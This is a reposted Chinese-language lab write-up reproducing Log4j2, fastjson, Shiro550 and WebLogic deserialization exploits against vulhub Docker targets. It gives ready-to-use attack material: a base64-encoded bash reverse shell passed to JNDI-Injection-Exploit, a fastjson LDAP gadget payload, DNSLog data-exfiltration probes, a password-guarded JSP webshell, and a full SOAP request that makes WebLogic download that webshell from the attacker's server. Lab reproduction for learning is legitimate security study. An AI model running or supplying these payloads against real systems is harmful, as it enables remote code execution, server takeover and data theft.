前言
大家好呀,本人是一名网安小白OUO,想着把之前学习过的漏洞,写一篇文章记录一下,第一次尝试在网上写文章,有什么错误或者意见,希望各位能够提出来,Thanks♪(・ω・)ノ。
概述
java经典漏洞(个人观点OuO)主要有:
log4j2漏洞(CVE-2021-44228)、fastjson反序列化漏洞、Shiro550漏洞(CVE-2016-4437)、weblogic漏洞(CVE-2019-2890)。
复现环境:
1.kali(rmi代理服务器兼攻击机的ip----192.168.141.163)
2.Ubuntu--vulhub(docker环境的ip--192.168.141.128)
以下漏洞所借助的工具都需要java环境(都是网上找的,大佬们写的(≧∇≦)ノ),我全都放在kali机上运行,除了shiro550漏洞的工具OuO(我是在本机运行的,依然需要java环境)
docker的一些基本命令
docker ps 查看正在运行的镜像
docker kill 镜像的ID 关闭镜像
server docker {start|stop|restart|status} 启动|关闭|重启|查看docker环境
docker-compose up -d 如果当前目录下有docker-compose.yml文件,可以一键安装与启动环境
log4j2漏洞----远程代码执行漏洞(CVE-2021-44228)
简介
Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行漏洞,从而获得目标服务器权限。
原理
Apache log4j2-RCE漏洞是由于Log4j2提供的lookup功能下的 jndi Lookup模块出现问题所导致的,该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。而开发人员在处理数据时,并没有对用户输入的信息进行判断导致LOg4j2请求远程主机上的含有恶意代码的资源并执行其中的代码,从而造成远程代码执行漏洞。
漏洞适用版本:2.0<=apache log4j2 <=2.14.1
JNDI可以使用相应目录接口请求普通数据,还可以请求java对象。而且JNDI支持以命名引用(Naming References)的方式去远程下载一个class文件,然后加载该class文件并构建对象。若下载的是攻击者构建的含有恶意代码的class文件,则会在加载时执行恶意代码。
在这些目录接口中我们可以使用LDAP或RMI去下载远程主机上的class文件。
LDAP(轻型目录访问协议:是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。
RMI(远程方法调用):它是一种机制,能够让在某个java虚拟机上的对象调用另一个Java虚拟机的对象的方法。
漏洞(触发)流程
1、攻击者发送一个HTTP请求,其用户名为${indi:rmi://rmi服务器地址/Exploityl}
2、被攻击服务器发现要输出的信息中有$队,则其中的内容要单独处理,进一步解析是NDI扩展内容且使用的是RM1,而后根据RMI服务器地址去请求Exploit。
3、RMI服务器返回Reference对象(用于告诉请求端所请求对象所在的类),而该Reference指定了远端文件下载服务器上含有恶意代码的class文件。
4、被攻击服务器通过Reference对象去请求文件下载服务器上的class文件。
5、被攻击服务器下载恶意class文件并执行其中的恶意代码。
复现
借助github上的工具------JNDI-Injection-Exploit v1.0
一、dnslog检测
该漏洞的注入点存在/solr/admin/cores?action=xxx这个参数。使用bp截取数据包,借助dnslog检测是否存在。
dns网站-----DNSLog Platform
${jndi:ldap://dnslog.cn}
${jndi:ldap://dns网址}
${jndi:ldap://zxe0dr.dnslog.cn}
dns外带信息
${jndi:dns://xxxxx:8090/${java:version}}
${jndi:ldap://${java:version}dnslog.cn}
二、工具使用
启动工具构建代理模拟服务器并开启端口监听
工具命令
(1)将| bash -i >& /dev/tcp/192.168.141.163/7123 0>&1 |进行base64加密
(里面的ip为rmi代理服务器的ip、7123为监听的端口号)
(2)java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,payload}|{base64,-d}|{bash,-i}" -A "攻击机ip"
payload---为(1)中base64加密后的密文
nc -lvp 端口号 开启监听
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MS4xNjMvNzEyMyAwPiYxIA==}|{base64,-d}|{bash,-i}" -A "192.168.141.163"
开启成功如下图,红框中为工具生成的恶意payload。
三、bp重放
注:工具生成的有一些payload可能失败
复制工具生成的恶意payload
${jndi:恶意payload}
将${jndi:ldap://192.168.141.163:1389/avqeli} 作为action的参数
四、结果
复现成功结果如下图
fastjson漏洞----反序列化漏洞
简介
1.什么是fastjson?
fastison是阿里巴巴的开源SON解析库,它可以解析SON格式的字符串,支持将Java ean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
2.fastjson的优点
速度快
fastjson相对其他JSON库的特点是快,从2011年fastison发布1.1x版本之后,其性能从未被其他Java实现的JSON库超越
使用广泛
fastjson在阿里巴巴大规模使用,在数万台服务留上部署,fastison在业界被广泛接受。在2012年被开源中国评选为最受欢迎的国产开源软件之一。
漏洞特定依赖存在下影响≤1.2.80
原理
fastjson为了读取并判断传入的值是什么类型,增加了autotype机制导致了漏洞产生。
由于要获取json数据详细类型,每次都需要读取@type,而@type可以指定反序列化任意类调用其set,get,is方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。
那么攻击者只要准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口从攻击者控制的web服务器远程加载恶意代码并执行
Fastjson使用黑白名单用于防御反序列化漏洞,并允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名。在特定条件下可绕过默认autoType关闭限制,攻击远程服务器,风险影响较大(也就是通常所指的“Gadget”)。
简单来说:
fastjson数据传输时,序列化话为了避免结果一样,添加了autotype机制(@type键),但其受用户任意调用,恶意构造序列化代码,受害者接受数据反序列化并调用相应模块去执行。
漏洞(触发)流程:(有点像log4j2漏洞)
受害者访问rmi服务器的监听端口,rmi服务器把需要下载的链接给到受害者,其接受下载并执行。
复现
注:我复现所用的环境是1.2.47-rce。
工具fastjson_tool(以前的链接失效了QAQ)
如果按漏洞触发流程,我们必须要有恶意class文件来反弹shell,还需要起一个下载服务器,工具帮我们省略了这两步。
一、dnslog探测
探测漏洞,版本信息。
借助github上的fastjson探测姿势。
使用bp捉包,修改成post请求,还要修改成json(数据包10行)。
依然使用dnslog探测。把dnslog替换成dns网址。
{"a":{"@type":"java.net.Inet6Address","val":"dnslog"}}
{"a":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}
{"a":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL","val":"dnslog"}}""}}
{"a":{"@type":"java.net.URL","val":"dnslog"}}
{"a":{"@type":"java.net.Inet6Address","val":"cl633r.dnslog.cn"}}
二、工具使用
提前开启端口监听,工具运行成功如上图,会生成两个payload(复制第二个payload)。
工具命令
java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.141.163 8901 "bash=/bin/bash -i >& /dev/tcp/192.168.141.163/7123 0>&1"
java -cp fastjson_tool.jar fastjson.HLDAPServer 攻击机ip 随机端口 "bash=/bin/bash -i >& /dev/tcp/需要获取权限的攻击机ip/监听端口 0>&1"
第二个payload
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.141.163:8901/Object","autoCommit":true}}
三、bp重放
复制第二个payload,作为post请求的数据。
四、结果
复现成功如下图。
Shiro550漏洞----CVE-2016-4437
简介
Apache Shiro是一个强大易用的java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。
数据加解密过程:
加密:
明文=====>序列化=====>AES(Apache提供密钥)=====>base64加密=====>cookie数据
解密:
cookie数据=====>base64解密=====>AES解密=====>反序列化=====>明文
原理
在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密 (这一步需要用密钥key) =>base64编码=>添加到RememberMe Cookie字段。
勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是: 取出请求包中rememberMe的cookie值 => Base64解码=>AES解密 (用到密key) =>反序列化。
勾选rememberMe后,POST请求包中会有rememberMe字段,而服务端响应包的Set-Cookie中会有rememberMe=deleteMe字段,同时会生成对应的rememberMe字段,如下图。(注:我在vulhub的docker环境CVE-2016-4437捉的包是没有rememberMe字段OuO)
简单来说:
知道密钥,因为Apache提供的密钥写死在代码里面,可以借此恶意构造cookie数据。
shiro721漏洞原理:
密钥由代码随机生成,利用padding Oracle Attack攻击去填冲,来获取到加密密钥(注:需要花费更多时间成本)。
复现
一、判断
判断是否存在漏洞:
1.未登录的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
2.登录失败的话,不管有没有勾选RememberMe字段,返回包都会有 rememberMe= deleteMe 字段
3.不勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段,但是之后的所有请求中Cookie都不会有RememberMe字段
4.勾选RememberMe,登录成功的话,返回包seLCookie里有rememberMe=deleteMe字段,还会有remember 字段,之后的所有请求中Cookie都会有rememberMe字段
5.或者可以在cookie后面自己加一个rememberMe=1.看返回包有没有rememberMe= deleteMe
二、工具使用
工具一:ShiroExploit
图形化工具,操作简单。(等一下复现所使用的工具,我在本机上操作,也需要java环境)
工具二:无图形化界面
如果第一个失败,可以尝试工具二,其密钥比较多(需要python3)。
一、复制网址,直接点击下一步
二、直接回显检测,下一步。(一般知道存在漏洞了就直接回显漏洞检测,不行再进行dns漏洞检测。)
三、结果
复现成功如下。(简便操作可以反弹shell,但由于docker环境,无法成功)
weblogic反序列化漏洞----CVE-2019-2890
原理
2019年10月15日,Oracle官方发布了2019年10月安全更新公告,其中包含了一个可造成RCE远程任意代码执行的高危漏洞,漏洞编号为CVE-2019-2890。
Weblogic在利用T3协议进行远程资源加载调用时,默认会进行黑名单过滤以保证反序列化安全。本漏洞绕过了Weblogic的反序列化黑名单,使攻击者可以通过T3协议对存在漏洞的Weblogic组件实施远程攻击。由于T3协议在Weblogic控制台开启的情况下默认开启,而Weblogic默认安装会自动开启控制台,所以攻击者可通过此漏洞造成远程代码执行,以控制Weblogic服务器。
影响范围:
WebLogic Server 10.3.6.0
WebLogic Server 12.1.3.0
WebLogic Server 12.2.1.3
复现
在vulhub中用的是CVE-2017-10271的环境
一、检测
默认登录路径(左下角有版本信息)。/console/login/
查看是否有控制台。/_async/AsyncResponseService
二、起服务器
搭建服务器(并包括构建恶意文件)
在kali上起服务器(不能关闭界面)
python3 -m http.server 服务器端口
python3 -m http.server 9001
恶意文件内容(shell.txt)
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
下载服务器开启成功如下,可以访问查看。
三、bp构造恶意数据包
构造恶意数据包内容并发送。注意:修改ip、端口
host的ip:为控制台的ip:端口(vulhub的ip)
wget的ip:服务器的ip:服务器的端口
数据包内容
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.141.128:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Connection: close
Content-Length: 868
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://192.168.141.163:9001/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
四、结果
访问恶意文件,复现成功如下。(注意恶意文件的参数)
控制台的ip:端口/_async/shell.jsp?pwd=123&cmd=id
小结
本篇是关于java经典漏洞,基于vulhub环境复现,第一次尝试在网上写文章,有什么错误或者意见,希望各位能够提出来,Thanks♪(・ω・)ノ。
文章来源:freebuf
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
原文始发于微信公众号(黑白之道):java经典漏洞复现(基于vulhub)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论